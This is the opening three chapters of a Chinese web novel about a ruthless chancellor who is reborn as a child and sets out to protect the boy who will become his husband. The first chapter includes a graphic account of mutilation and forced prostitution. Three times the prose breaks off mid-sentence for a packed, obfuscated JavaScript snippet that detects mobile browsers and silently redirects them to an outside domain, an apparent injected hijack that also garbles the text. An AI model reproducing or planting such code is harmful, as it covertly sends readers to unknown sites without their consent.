《重生奸臣养夫郎》 1. 第 1 章 “天亡我大周,竟出了你这等奸佞妄臣!欺瞒皇上,把持朝纲,为所欲为。” “你就不怕死后被万人唾骂!” 外面寒风呼啸而过,天牢里倒是没有半点风声传来,将一句句质问显得分外清晰。 烛光摇曳,轻落在太师椅上那一张清冷如玉的面容之上。 嘴角分明是向上勾起,可那双好看的眸子里却是漆黑一片,看不出任何的起伏。 “郑大人此刻还关心裴某身后事,裴某不胜感激。”裴清珩语气温和,似是如昔年入朝时那般温润清朗。 眼眸微垂,看向只能匍匐在他面前,唯剩一点力气仰起头看他之人。发丝凌乱铺面,却依旧难掩那恨不得将他食肉寝皮,拆食入腹的目光,破损的布料下,是狰狞的伤口泛着鲜血。 裴清珩看着地上狼狈之人,曾经此人是那般目空一切的站在他面前,庇护着他那双欺负他夫郎的子女,如此想着,嘴角的弧度愈发上扬了几分。 “太尉郑修齐,结党营私、贪赃枉法、谋取私利、残害忠良、通敌叛国,皇上听闻怒不可遏,着下令,诛三族。” 话语刚落,凄厉的喊声骤然响起。 “裴清珩!你竟敢如此加罪于我。” 闻言,裴清珩眉峰一挑,仿佛是没想到这人会喊自己的名字,拨动了下手腕上的菩提珠串。似是怕人听不清,体贴的放缓了语调,一字一句,说的格外清晰。 “裴某怜惜郑大人的血脉,但人微言轻,只求得皇上开恩,饶了你那外嫁哥儿娘子一命,虽是被割了舌,断了四肢,无法动作,但好歹容貌还在,去了军营,也算是物尽其用。” 语未说完,地上便传来刺耳的摩擦声,那一双想掐人的手,被一旁侍从狠狠地踩在了地上,指骨尽断。 裴清珩笑看着地上狰狞之人,从椅子上站起,仿若是从前那般,恭谦的拱手作揖,行了个礼,“昔年,裴某入朝为官,幸得郑大人照料,裴某感激不尽,定会让您的血脉好好活着。” “裴清珩,你不能这样做,你不是已经让他们声名狼藉,他们已经有了报应。” “裴清珩,我求你,你让他们死,让他们死。” “裴清珩!” “裴清珩!你不得好死!” 裴清珩走出天牢,那一道道不得好死的诅咒随着大门关闭,一起被隔绝在了里头。 月光冷凝如铁,落在人的身上,仿佛是要将冬日仅存的一丝温度都凝结成霜。 “大人。” 侍从欲将狐裘披在裴清珩身上,却是被人挥手打断了去。 裴清珩走在路上,漆黑的夜晚,四周格外寂静。 不得好死? 裴清珩望着前方,眸光幽深,若早知只要不得好死,就能护得一切,他又岂会如此蠢笨的捧着那孔孟之言不放,信那问心无愧。 当真傻的可以。 景端九年,各地接连起义,暴乱频发。 “裴丞相,永州总督被暴民斩杀……” “裴丞相,西夏与北齐派兵压我边境……” “裴丞相,这是汛洲上供的珍珠十斛……” “裴丞相,皇上今日斗鸡,不愿上朝……” “裴丞相……” 丞相府中。 裴清珩躺在院中躺椅上,神情悠闲,躺椅缓缓的上下摇摆着,像是在哄人入睡。 这方院子并不大,院内有水缸,有竹椅,有晾晒的竹架,有簸箕扫帚,干净又整洁,却明显是寻常百姓的住所,落在这尊贵显赫的丞相府里,很是突兀,被富贵堂皇的周边院落突显得格外陈旧,诡异的很。 “裴清珩!” 一道怒气冲冲的声音,从院外携风冲入院中。 “大人,顾将军破门而入,奴等实在拦不住。” 侍卫与奴仆纷纷跪在地上。 裴清珩抬眼对上顾齐云的满目怒火,抬手一挥,跪在院门处的侍卫奴仆纷纷如释重负一般齐齐退去。 “顾兄,如今你已年至不惑,怎还是这般冒失模样。”裴清珩从躺椅上站起,看着顾齐云淡淡开口道。 顾齐云手握重剑,一双眸子直直的看着裴清珩,眸光晦涩,神色复杂,“裴清珩,我远在边境,听闻你的事迹,以为是大家以讹传讹,却不知那些竟还不如你所做一分。谋杀先帝、废养幼帝、私售贿赂、买卖官爵、残害忠良,将这大周朝廷变成了你的一言堂,真真是好一个霁风朗月裴清珩。” “你他娘的!怎就变成了这样!” 一声怒吼,剑刃脱鞘,直指脖颈。 “顾兄,你倒是一如往昔的天真。”裴清珩嘴角带着一抹极浅的笑意,丝毫不觉那锋利的剑刃是要夺他性命。 “裴清珩,兵符在哪里?皇上在哪里?”顾齐云眉头紧皱,看着人,沉声质问。 裴清珩:“我说了,顾兄,你太天真了。” 顾齐云:“裴清珩,少时,你说要让这天下太平,四海笙歌,可如今,民不聊生,四海升乱,你可对得起曾经的自己!” “可还有脸去见安哥儿!” 院中静谧,只闻风袭树梢,传来飒飒声响。 裴清珩眸光未动,神色冷淡无情,"顾齐云,那你呢?守在边疆就没有私心?” “可你想见的人,早就死了,死在了二十四岁,死的时候,骨骼尽断,面目全非。” 闻言,顾齐云持着剑的手忽然一顿,脑海中闪过一张调笑的容颜,恍惚之间似乎又成了那一抹鲜艳的嫁衣。话语出口,是自我宽慰,又是反驳,可那看着人的目光却已不似先前那般的坚毅无畏。 “不……怎么可能,他明明活着,还生了孩子。” “嫁去北齐和亲之人并不是他。”裴清珩神色淡然,放在身后的手却微微一动。 数十道身影纷纷落下,剑起,杀意并现。 剑光,鲜血,交织在一起。 裴清珩面上又恢复成最开始温润的神情,面如冠玉,倒是那一头早已白了不知多少岁月的银发,莫名将年岁无端添上了许多笔。看着被夺去重剑,被人控制双手,痛心难捱看着他的人,眸底略过几丝嘲讽。 “顾齐云,这大周,早就烂了。” 院中,再次只剩下一个人,四周空荡幽静。 久久之后,一声低喃轻轻传出。 “分明是贪嘴的人,死的时候却痩的只剩下一张皮。” “我早就没脸见他了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702552|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景端十三年冬。 大军兵临城下。 宣政殿,大火肆虐。 权倾朝野的裴大丞相带着十七岁的景端帝死在了这场大火中。 大周皇室,弃城,逃离。 平河府,定县,一处二进宅院中。 “清珩啊,你爹在上阳府有一好友,名唤沈慕风,三年前你爹曾带你一同赴他那哥儿的周岁宴,你爹娘去世,他也来吊唁过,你应该有印象,现如今来信想接你过去,你觉如何?” 裴清珩看着面前这一张分明早已被他填埋入土的脸,还有周遭熟悉却又陌生的一切,只觉有些恍惚。 他的父母在他五岁之时,途遇山贼双双毙命。而后他二叔带着家眷出现在他家中,说是照料养育,实则不过是贪他父母留下的宅子与银两。 而此刻,应是他八岁因风寒发热昏厥之时,沈慕风收到他二叔卖惨信件,提议将他接去养育,他二叔二婶自是刚好不过,正同他说起这事,好将他顺理成章推出去,霸占这方宅院。 裴清珩看着眼前假模假样的二婶,八岁的裴清珩会气愤会难过会无助,可四十二岁的裴大丞相却是喜不自胜,隐在被下的手早已控制不住的握紧成拳,指尖不住的战栗发抖。 脑海中不由闪过那一夜,大雨倾盆,他的小夫郎就这么躺在他怀里。苍白的面容,干裂的唇瓣,分明被病痛折磨,却还笑着同他撒娇,只为讨要一串糖葫芦,说药太苦了,得要糖葫芦压一压。 他说好,大半夜去寻那卖糖葫芦的小贩家在何处。 却没想到,糖葫芦买到了,可那念叨着要吃糖葫芦的人却不在了。 他曾见有话本写过,有仙人可回溯时间。 他不知此刻是否便是仙人的回溯时间。 可,即便是阿鼻地狱,是牛鬼蛇神的戏弄,若是能再见见那人,又有何妨。 “好。”裴清珩微垂眼睑,遮住里头的疯狂,看似平静的点头道。 “唉,二婶也不舍,可你也知道你二叔负担一家子已是不易……”冯氏下意识就开始劝服的说辞,说到一半,这才意识到方才人说的是好,那一双充满算计的眼睛顿时瞪大,瞬间又爬满了笑意,伸手想去拉裴清珩的手,被闪过也不见恼,依旧笑呵呵道:“哎,二婶就知道,清珩是个明理的。” 裴清珩抬眸对上,手下意识想去抹腕间那一串菩提珠串,这是那年他进京赶考,他的小夫郎特意为他求来的,说能保佑他万事顺遂。待只摸到腕间的皮肤,心下一愣,嘴角却是不自觉的勾起一抹极淡的弧度。 冯氏见裴清珩面上有了笑意,心下更是满意的很,想着这个大侄子虽然聪明,但同他那早死的爹一样,傻的要命。 但只有上辈子死在裴清珩手里的人才知道,裴丞相笑的越温润,下的手就越狠。 所谓,菩萨面容,阎罗心肠。 而此时,上阳府,南竹县,沈宅。 一名小胳膊小腿的奶娃娃正叉着腰站在院子里的竹桌旁边,阳光倾洒在他身上,粉雕玉琢的小脸蛋上却写满了不高兴,嘟着小嘴不停地叨叨,连带着小奶膘都时不时的上下晃悠。 “爹爹,你不是说了做人要有志气,你怎么能说自己不行啊!” 2. 第 2 章 坐在竹椅上,长相颇为俊雅的男子放下手里的书,伸出手直接将自家嘟着嘴的小哥儿一把拎起来,在自己面前晃悠了下,严肃教育道:“沈小安,我说的是给你生哥哥这件事不行,不是让你说你爹我不行!” “哼,你不让我说你不行,那你快点和娘亲一起给我生个哥哥啊!生不出哥哥就是你不行!”沈小安仰着小脑袋,边说还不忘用小脚丫在空中踹了好几下,来表示自己内心的不满。 “爹是不是都说过了,我和你娘生不出哥哥来。”沈慕风无奈的再次苦口婆心道。 沈小安圆溜溜的双眼一转,转换策略,一双小手攀住沈慕风的脖子,软乎乎撒娇道:“不可能的,温哥儿的爹爹和小爹就给他生了一个哥哥。爹爹,你比许叔叔厉害多了,你瞧许叔叔都可以的事情,你怎么就不行了呢。” 沈慕风没好气的看着搂着自己脖子的小奶娃,这破孩子,还想用激将法。要不是他是个哥儿,不是郎君,他绝对要让他知道什么叫做棍棒底下出孝子。 “爹爹,你在想什么?”沈小安莫名觉得自己小屁屁一紧,狐疑的看向自己爹爹。 沈慕风一双狐狸眼眯了眯,语气忽然放柔了许多,“沈小安,倘若我真有法子给你变出一个小哥哥来呢?你要如何感谢你爹爹。” 沈小安闻言,当即激动地连连拍了好几下自家爹爹的胳膊,手脚不受控住的欢乐挥舞,“真的啊!爹爹,快,快带我去见我哥哥。” “哎哎,沈小安你乱扑腾什么。”沈慕风赶忙把人放回地上,免得他没兜住,沈小安摔到地上去。 “爹爹,带我去见哥哥。”沈小安拉过沈慕风的手,就想把人拽起身。 “沈小安,你这听话就捡你自己爱听的,你怎么就没听到你爹我说了,若我给你变出一个哥哥来,你要如何感谢我?”沈慕风挑眉道。 沈小安皱眉看着沈慕风,纠结了好一会儿,疑惑问道:“那不是为了证明爹爹你行吗?怎么问我要感谢了?” 闻言,沈慕风气急反笑,伸手捏住沈小安的小奶膘,上下晃动了下,“你还真不愧是我儿子,买卖计算的好。” 沈小安没听出自家爹爹话里的嘲讽,当即乐呵呵的笑道:“爹爹,我知道我聪明机灵,但这也是娘亲生的好。爹爹你要明白,不能贪功。” 沈慕风不想说话了,“行,你娘亲生的好,要哥哥找你娘亲去,别来烦你爹我。” “爹!”沈小安脸上笑容瞬间消失不见,气的又狠狠剁了下脚,“你这个大人怎么这么不懂事!” “没办法,谁让我是个不懂事的大人。”沈慕风笑的得意。 "我要告诉娘亲,爹爹你欺负人!哼!" 沈慕风挥挥手,“去去去,你娘可是我的夫人,我们可是有十多年的情谊,你们才几年情分,我和你娘亲哪能是你这小屁孩能挑拨的。” “哼,娘亲肯定会帮我的!”沈小安放下狠话,当即撒丫子的朝里面跑去,边跑边还喊着,“娘亲,娘亲,你夫君欺负你的宝贝哥儿!” 沈慕风看着自己家的哥儿像只野猴子一样的往里头跑,还是为了去告黑状,又气又想笑。 说什么哥儿是爹爹的小棉裤,他家的小棉裤上面绝对都是补丁。 天生的破洞,全靠他后天的缝补! “娘亲。”沈小安双手扒拉着门框,看着坐在屋子里头,正在刺绣的娇美妇人,露出一个甜甜的笑容。 “安安怎么了,又跟你爹闹嘴了?”林青梧放下手里的绣活,笑着朝门口的小双儿招了招手。 沈小安见状立马屁颠颠的跑过去,抱住自家娘亲,撒娇道:“娘亲,爹爹不中用,还不准安安说,还拎我的衣领,又叫安安沈小安,明明安安现在是大孩子了,爹爹惯是欺负人的,人家分明是娘亲最乖的小安安,娘亲,你说是不是。” 沈小安觉得现在的他是四岁的他,是大孩子了,怎么能再被爹爹叫沈小安。他高兴的时候,爹爹这么喊他就算了,但是他现在不高兴,所以他要告状! 林青梧瞧着自家哥儿这张不停扒拉的小嘴,明明是委屈的模样,可那一双圆溜溜的眼睛满是狡黠,心下明白这是来求东西来了,但也乐的配合,笑道:“是是是,安安自然是娘亲最乖的小安安,是你爹欺负人,等娘亲见到你爹,帮小安安出气。” “娘亲,安安最喜欢娘亲了。”沈小安眸光更亮了,高兴的用脸颊蹭了好几下娘亲胸膛,这才又抬起头,说起了自己原本的打算,“娘亲,安安被爹爹欺负,要娘亲安慰。” 林青梧看着自家古灵精怪的小哥儿,忍住想笑的欲望,一本正经的点头说道:“是该安慰,安安要娘亲怎么安慰你?” “娘亲,你给我生一个哥哥吧。” 沈小安觉得他说的很认真,而且还完美的找了理由,娘亲肯定不会拒绝他。可没想到,娘亲是没拒绝他,但却是笑了出来。 “娘亲,你怎么了?”沈小安不明所以。 林青梧止住了笑意,看着沈小安,“安安,你这是跟你爹爹说了,被你爹赶了过来?” “哼。”沈小安扬起小下巴,“爹爹不中用,惯会忽悠人,还是得靠娘亲。咱们家娘亲最厉害了,定是能给安安生一个哥哥出来。” 沈小安觉得自己太聪明了,既不忘踩自己爹爹一脚,又没忘记跟自己娘亲撒娇卖好,真真是拿捏了茶楼那些人口中所谓说话的本事。 “娘亲也想给安安生一个哥哥,可是那天上的神仙只给了娘亲你这一个乖巧小童子,不愿意再给娘亲另一个了,娘亲求了好久,就是不愿意给,直把娘亲委屈的,每每想起都要落泪。”说着,林青梧拿出绢帕,伤心的抹起了眼角根本不存在的泪花。 这一通瞎话,分明就是扯得很,奈何向来不爱学习的某位四岁小娃娃丝毫没觉得有问题,见自己一向温柔爱笑的娘亲竟然伤心的抹泪,立马就内疚的安慰了起来,“娘亲不哭,都是那天上的神仙不做好,不给娘亲小童子哥哥。娘亲不气,等安安自己去找一个童子哥哥过来,让那神仙看看,他们不给娘亲,安安给。” 林青梧听着自家哥儿安慰的话语,心里是甜滋滋的。只是,这拐人的事他们可做不得。 “安安不愧是娘亲最喜欢的小安安,娘亲只要安安这一个小童子,别的什么童子都没有安安好,要来有什么用。”林青梧说着话,就将人抱在怀里。 听娘亲说最喜欢自己,更甚至因为喜欢自己不要小童子哥哥了,沈小安开心的都不知道说什么了,又有些小小害羞,一张小脸都泛起了红晕,蹭了蹭自己娘亲的胸膛,声音愈发的奶声奶气了起来,“安安也最喜欢娘亲了。” 自从知道娘亲只要自己这一个小童子,沈小安这些日子都没再闹着自家爹爹要哥哥了,虽然暗地里没少嘟哝自己爹爹太没用了,但还是决定在爹爹要出门的时候,将自己喜欢的小风车都送了过去。 “沈小安,你这?”沈慕风瞧着自家哥儿那眼里的怜悯,嘴角一抽。 沈小安拉了拉沈慕风的衣角,等人弯下腰了,才在人耳边小声说道:“爹爹,虽然娘亲说只爱安安一个,但你作为安安的爹爹,安安还是愿意喜欢你的,这是安安最喜欢的风车,你带着出门,安安会等你回家的。” 沈小安说完就将手中的小风车塞进沈慕风的怀中。 沈慕风一愣,将塞进自己怀里的小风车握在手里,这才直起身子。想起前日接到旧友二弟的回信,决定出发去接人,夫人也在忙事,落在沈小安眼里,就以为是他不得他娘亲喜欢,竟是愿意将他最爱的玩具都拿出来哄他。 “瞧瞧,还说你家哥儿是漏风的小棉裤。”林青梧看了眼那风车,笑着小声揶揄道。 沈慕风同样笑着,伸出手揉了揉沈小安的发顶,“我家哥儿就算是漏风的小棉裤,那也是顶顶保暖的。” 而被揉着头的沈小安,却是不明所以的仰起头,用着你怎么这么笨的眼神看着沈慕风,说道:“爹爹,安安是人呀,怎么是棉裤。” 沈慕风:…… 罢了罢了,早就习惯了。 沈慕风眼里浮现宠溺,弯下身子,在小哥儿耳畔处,轻声说道:“沈小安,等爹回来,给你领一个哥哥来。” 距离沈慕风出发之日,已过去了八日,而这八日,沈小安日日都在期待。 “娘亲,爹爹什么时候会回来呀?” “娘亲,我的哥哥会长什么样子?” “娘亲,你能陪我去给哥哥买礼物吗?这样哥哥以后就会给我买好吃……哦,不是,买礼物。” “娘亲,我的哥哥肯定会比如璋哥哥厉害。” “娘亲,哥哥什么时候来呀,爹爹怎么还没把哥哥领回家,会不会是爹爹太笨了,迷路了?” “娘亲,昨儿个如璋哥哥带我和温哥儿去吃好吃的,有位娘子说他夫君出门一趟就带回了如花美眷。娘亲,安安吃过如花糕,但没吃过美眷,安安有一点点想吃,美眷是什么味道呀?等哥哥来了,安安也好带哥哥去吃。” “娘亲……” 这次不等沈小安张嘴将话说完,林青梧就从桌上拿起了一块糕点,堵住了那张不停歇的小嘴。 “这就是美眷,安安尝尝看。” 沈小安将嘴里的糕点拿下,撇了撇嘴,想说什么又怕打击了自己娘亲,整张脸都纠结的挤在了一起,好一会儿,伸出手,轻轻拍了拍自己娘亲的胳膊,“娘亲,世上有很多好吃的,有很多是我们不知道的,所谓不唧唧者没罪,没事哒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702553|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 林青梧:…… “安安,是不知者无罪。” 沈小安眨了下眼,当下转头不去看自己娘亲,用力咬了一口所谓的美眷,实际是红枣糕。 娘亲也学爹爹,欺负人! “夫人,老爷派人传话过来,说是明日酉时便可回来。”沈家管家这时候走了过来。 “爹爹要回来了呀!”沈小安瞬间高兴的眉开眼笑,完全忘了自己刚刚被娘亲点破自己其实是个小文盲的事情。 旦日,离酉时还有大半时辰,沈小安就催着管家带他去城门口等人。 而被沈小安殷殷期盼的沈慕风,正坐在马车里,同裴清珩说着安慰的话。 “以后就把伯父的家当做你自己的家,你二叔,唉,分明是自家做下的孽怎就让你无辜小儿一人承担,受人欺负。” 裴清珩面上扬起一抹笑,面颊上血色单薄,笑容浅淡配着那清冷的容颜,不免让人心疼。 “此番真的多谢伯父,若无伯父前来,清珩也不知如何是好。” 沈慕风见人如此,更是心疼。他从未想过到了定县裴家,竟是看到一群人正在抢着裴家东西,而他好友的儿子无力的靠在门槛之上。八岁的孩子,面色苍白,似是要晕厥过去,无人依靠还要被人推攘嘲笑。 他虽知道裴家二郎比他大哥差了许多,不思进取,喜好面子,贪财逐利,可没想到竟有胆学起别人玩起字画。不想想自己是什么货色,赔了百两银子,又骗人说现下住的宅院是他的,自己携妻子儿子逃了,就留下八岁的裴清珩一人面对追债人。 裴清珩的叔公伯公也都在县里,分明能赶来相护,却只当不知,当真是…… 裴清珩见沈慕风面露冷意,倒是挂上笑容宽慰道:“伯父勿气,那房契如今在我身上,伯父还帮我报了官,我二叔……”说到此,少年长叹一声,“他做了错事,自然要偿还的,我爹的亲人,他们,往后就当不识吧。” 裴清珩眼睑微垂,落在旁人眼中只当是心死于自己亲缘单薄,可隐在睫羽之下的双眸却是阴鸷冷厉。 上辈子,他高中举人,他的二叔借由这借口,让他回去祭祖。 那时他与安安已定了亲,安安心疼他一个人,陪他一同前去,却不想他那好堂弟裴清礼竟对安安心生妄念,巷口堵人,被他撞见还想倒打一耙。 他生平第一次动了杀念,却碍于世道亲情,只是断了他的胳膊。而后每每想起,后悔自己那时被所谓家族亲情拖累,下手太迟,若能再来,他绝对不会让这人有生的可能。 上辈子,他们做的孽。 这辈子,自然得继续偿还。 裴清珩眸光微动,也不知此刻他的二叔一家过的是否如意,他可是花了心思给他们寻了个好去处。 如今,沈慕风早早见识了他那些族人的冷漠无情,往后,这些人若再想以他的名目生事,就得好好想想了。 这次,世道的利刃,也该是由他来握着了。 裴清珩抬手,下意识的又想去摩挲手腕间的菩提珠串。手刚一动作,顿时反应过来,如今已是新生,自己的手里是他要给小夫郎的礼物。 看了眼自己手里拿着的东西,裴清珩嘴角不由微微上扬,眼里都染上了光。 沈慕风见裴清珩的目光落在那东西上面,不由也跟着笑起来,“安安若是见了,怕是更要欢喜不已了。” “安哥儿能喜欢就好。”裴清珩笑着回道,看似平静的面容,在心中却是不断叫喊着,快了,快了,快要见到了。 他们就要见到了。 日落黄昏,夕阳西下。 余晖在天边交织出一片似梦似幻的羽翼,温柔的晚风推动暮云,炽热的暖阳与清冷的残月于这一刻在天地中互相碰面。 沈小安站在城门下,就见有一人正朝他踱步而来,余晖仿若成了他脚下的道路,有红,有橙,有黄,如梦似幻。 那人就这么停在了他的面前,他似乎看见他眼中有一道水光一闪而过,看不清,也摸不到。 沈小安觉得,这一刻他或许是见到了天上的小仙童,比娘亲过年买的年画里的小仙童都要好看。 若是天上的小仙童都是这般模样,也怨不得那些神仙舍不得将小仙童给他娘亲了。 他想问一问,小仙童愿不愿意去他家,给他当小哥哥,却没想到小仙童这时候抬起了一只手,手里是他最爱的糖葫芦,鼻息间似乎能闻到从糖葫芦上面传来甜滋滋的气味。 裴清珩看着人,看着那张深埋于记忆中稚嫩的童颜,脑海中有千言万语,但话到嘴边,却只化作了一道温柔的轻语。 “安哥儿,给。” 你要的糖葫芦。 我回来了。 3. 第 3 章 沈小安一双眸子骤然睁的老大,看了眼递到自己眼前的糖葫芦,又朝已经走过来的自家爹爹看了一眼,随即一双眼睛盯着面前的小仙童看了好一会儿,杏眼慢慢弯成小月牙,一个向前,软乎乎的小手就这么一把圈在了人的腰上,小脸上都染上了高兴的绯红。 “哥哥,哥哥,你是安安的哥哥,对不对。” “安安竟然有一个小仙童哥哥。” “安安好高兴呀!” “还给安安糖葫芦吃。” 沈小安一张小嘴激动地巴巴说的不停,说着还仰起头看着自家小仙童的哥哥,恰好就对上那一双满是倒映着他身影的眸子,目光宠溺,笑容温柔。 沈小安觉得,他的小仙童哥哥完全就是说书人口中俊美无双的少年郎。哦,不对,要比那少年郎好看了不知多少。 实在,实在,太好看了! “哥哥,安安好喜欢你呀!” 脱口而出的话语,完全是内心真实想法。 说完,沈小安只觉自己面颊有些发烫,有些不好意思,将头重新埋入裴清珩的怀中,可嘴角的弧度却是压也压不住。满脑子都是他竟然有这般好看的哥哥,比如璋哥哥好看多了,未见面就给他带糖葫芦,等以后,哥哥定会给他更多的糖葫芦。 想到以后糖葫芦不断,沈小安乐的都快合不拢嘴了。 实在,太幸福了。 一旁的沈慕风神色却是复杂至极,看着自家哥儿就这么抱着一个郎君不放,虽说这郎君也不过八岁。可是,他就没想过他家哥儿小小年纪就这般外向,才见人就说喜欢。他原本见他家哥儿在城门口,以为是久久不见他想念他,没想到啊…… 沈慕风受不住了,干咳两声。 然而…… “哥哥,你嗓子不舒服吗?”沈小安仰起头,关切询问。 裴清珩:“没有,是我没想到安哥儿如此欣喜见到我。”喜不自胜,欣喜若狂。 最后几个字,裴清珩不敢说出口,怕惊扰到沈慕风,也怕吓到他的安安。 “嘿嘿,哥哥好看,安安喜欢哒。”沈小安笑呵呵的说道,这时候倒是忘了自己方才的羞涩。 裴清珩看着眼前笑容满面的面庞,他有多少时间没见过这般明媚的笑颜,是上辈子沈父被主家牵累,倾家荡产,还是同他上京之后,被人暗中使坏,抑郁寡欢,又或者是最后疾病缠身,痛苦难捱。 上辈子他被二叔欺骗,来的时候并不是过于情愿,一张脸板着,不知道的人以为是他固来清冷,以至于当时安安想与他亲近,又不知如何上前,哪里如这辈子一般,一把将他抱住,诉说着对他的喜欢。 真好啊,一切都还来得及。 他要让他的小夫郎,无忧无虑,长命百岁。 “我也喜欢安哥儿。”裴清珩望着人,笑容缱绻,神情温柔平和,但在墨黑的瞳孔之下隐藏着的是那离别数十年的执念与疯狂。 闻言,沈小安笑的更开心了。 一旁的沈慕风终归没忍住,大跨一步,直接上前,一把拽起沈小安的衣领,将其拎到自己面前,咬牙切齿道:“沈小安,是你爹我咳嗽,你眼里还有你爹吗?就只有你哥哥是吧,谁家小哥儿第一次见面就囔着说喜欢,待我回去同你娘亲说道说道。” “爹爹。”沈小安瞧着自家爹爹一脸怒气的模样,眨了眨眼,一时没有明白爹爹为何会生气,想到什么,忽然心领神会,当即大声夸奖道:“爹爹,你最行了,你可太行了,你比许叔叔厉害太多了,我爹爹,顶顶厉害了!”说完,还不忘竖起大拇指。 小娃娃个子不大,但叫囔的声音却是不小,当即就吸引了来往的路人好奇看来。 沈小安觉得他如此夸奖爹爹,爹爹肯定会很高兴,可是……怎么脸更黑了? 沈慕风咬牙,行什么行,幸亏自家孩子才四岁,不然再大一些,他这张脸都要被这小破孩子给丢尽了。 “给我回家去。”沈慕风气道,意识到身边还有人,面色骤然一转,犹如春风拂面般的温柔,笑着同裴清珩说道:“清珩啊,不好意思,是安安过于外向了。” 外向二字,咬字颇重。 “伯父言重了,安哥儿这是活泼开朗。”裴清珩笑道,将手中的糖葫芦再次递过去。 沈小安哪里还管得了自家爹爹瞪他的眼神,当即笑的接过糖葫芦,开心的舔了一口糖葫芦外面的糖衣,甜滋滋的说道:“哥哥,我也给哥哥准备了礼物,待回去,我拿给哥哥。” “好。”裴清珩笑着点头。 “沈小安,只给你哥哥准备,你爹我呢?”沈慕风不爽问道。 沈小安一脸‘你怎么如此幼稚’的模样看着沈慕风,想伸出手拍拍自己爹爹的肩膀,发现自己手里有糖葫芦,只得软声安慰道:“爹爹,我不是给了你小风车了,你是个大人了,不能太小气,乖~” 沈慕风:……这破孩子,不能要了。 裴清珩听着耳边传来的稚嫩童语,重新觉得这人世间是如此的美好,压抑不住内心的喜悦,伸出双手,第一次失了礼节的看向沈慕风说道:“伯父,不若让我抱着安哥儿如何?” 不等沈慕风开口,沈小安当即迫不及待的将自己双手递过去,“好呀好呀,哥哥抱安安。” 沈慕风:…… 他今日才知道,他这小棉裤,不仅破洞漏风,更是个好颜色的。 沈慕风没有将沈小安给裴清珩抱着,两个人一个四岁,一个八岁,在沈慕风眼里都是小孩子,自然不会多想。只是觉得自家小哥儿颇为敦实了些,而裴清珩清瘦的模样,他怕自己家的小哥儿把人家胳膊给压折了。 沈小安完全不知道自家爹爹正在心中腹诽他长的敦实,想着不能被小仙童哥哥抱,但能牵着小仙童哥哥的手也是好的。 他沈安,不挑剔。 “哥哥,我有好多好多的玩具,待回府了,我拿给你玩。” “院子里,爹爹给我做了秋千,到时候我们可以一起玩。” “哥哥,我有个好朋友叫温哥儿,他也有个哥哥,但我觉得你比如璋哥哥好看多了。” 沈小安拉着裴清珩的手,开心的前后摇晃着,一张小嘴更是说的不停,完全忘了另一边走着的自家爹爹,直把人气的暗自磨牙。 “安哥儿,喜欢我的模样?”裴清珩笑着问道。 “嗯。”沈小安诚实的点了点头,转念又补充道:“哥哥的一切我都喜欢。” 裴清珩嘴角的笑容愈发真切,他一直知道,上辈子他的小夫郎就很是喜欢他的皮相,幸好这辈子亦是如此。 而另一边同样听到这话的沈慕风,心口拔凉拔凉的,自家哥儿这番甜言蜜语不是只同他娘亲说的吗?偶尔有求于他了,也会如此撒娇软气的与他说话。 可如今。 沈慕风看着自家傻乎乎的小哥儿。 行,得嘞,果真是个好颜色的。 色令智昏。 丢人。 到了宅院门口,没等沈慕风开口将人领进门,沈小安就牵着裴清珩的手,拉着人跑向正厅。 “娘亲,这是我的哥哥,爹爹带来的,你看看,是不是同画上的小仙童一样好看。”沈小安一只脚刚跨进去,就迫不及待的朝林青梧喊道。 林青梧瞧见自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702554|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家哥儿拉着一位少年的手,激动地朝她跑来,额间都给热出了细密的汗水。 目光朝陌生的少年看去,少年穿着墨灰色衣衫,老气的颜色穿在少年身上,却难掩其清俊的气质,眉目俊朗,可以想到待其成年将会是如何俊美的模样。 林青梧见沈小安两眼亮晶晶的看着自己,想起哥儿吃个糕点都得挑个最好看的,配个发绳都得细心挑选,不由勾唇笑道:“是,是跟小仙童一样。” “裴清珩见过伯母。” 因为右手还被沈小安牵住,裴清珩只得弯腰行礼,倒也不显的局促,反而姿态大方。 林青梧看向裴清珩,她听夫君说要将裴兄的孩子接入府中,自是愿意的。她还记得当年小小的人儿随裴兄过来参加安安周岁宴,四岁多的孩子行礼作揖,落落大方,举手投足可见其教养。但这孩子三年时间都在其二叔身边生活,她怜惜这孩子生活不易,但又怕这孩子心性大变,如今一见,目光清明,言行举止一如往昔。 不愧是裴兄的血脉,悬着的心不由放下了几分。 “一路舟车劳顿,辛苦你了。”林青梧目光慈爱的看向裴清珩,说着又笑着瞪了自家哥儿一眼,“哥哥舟车劳顿好容易到了,你还拉着他跑来,真是胡闹。” 